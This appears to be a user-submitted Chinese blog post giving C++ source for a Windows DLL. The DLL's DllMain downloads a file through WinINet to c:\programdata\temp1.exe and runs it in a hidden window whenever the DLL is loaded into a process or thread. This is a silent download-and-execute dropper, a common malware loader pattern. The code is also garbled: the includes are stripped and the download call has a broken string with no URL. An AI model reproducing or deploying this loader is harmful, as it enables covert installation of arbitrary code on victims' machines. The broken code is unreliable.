基于wininet下载程序

网友投稿 615 2022-11-30

基于wininet-程序

基于wininet-程序

#include "stdafx.h"#include #include #include #pragma comment( lib, "wininet.lib" )#define RECVPACK_SIZE 8192STARTUPINFO ini_processo;PROCESS_INFORMATION processo_info;void download(const char *Url, const char *save_as) { BYTE Temp[RECVPACK_SIZE]; ULONG Number = 1; FILE *stream; HINTERNET hSession = InternetOpen((LPCSTR)"RookIE/1.0", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0); if (hSession != NULL) { HINTERNET handle2 = InternetOpenUrl(hSession, (LPCSTR)Url, NULL, 0, INTERNET_FLAG_DONT_CACHE, 0); if (handle2 != NULL) { if ((stream = fopen(save_as, "wb")) != NULL) { while (Number > 0) { InternetReadFile(handle2, Temp, RECVPACK_SIZE - 1, &Number); fwrite(Temp, sizeof(char), Number, stream); } fclose(stream); } InternetCloseHandle(handle2); handle2 = NULL; } InternetCloseHandle(hSession); hSession = NULL; }}bool ExecFile() { memset(&ini_processo, 0, sizeof(ini_processo)); ini_processo.cb = sizeof(ini_processo); ini_processo.dwFlags = STARTF_USESTDHANDLES; ini_processo.wShowWindow = SW_HIDE; CreateProcessA(NULL, "c:\programdata\temp1.exe", NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, (LPSTARTUPINFOA)&ini_processo, &processo_info); return 0;}BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved){ switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: download(""c:\programdata\temp1.exe"); ExecFile(); break; case DLL_THREAD_ATTACH: download(""c:\programdata\temp1.exe"); ExecFile(); break; case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE;}

版权声明:本文内容由网络用户投稿,版权归原作者所有,本站不拥有其著作权,亦不承担相应法律责任。如果您发现本站中有涉嫌抄袭或描述失实的内容,请联系我们jiasou666@gmail.com 处理,核实后本网站将在24小时内删除侵权内容。

上一篇:linux内核编程
下一篇:@Scheduled fixedDelayString 加载properties配置方式
相关文章

 发表评论

暂时没有评论,来抢沙发吧~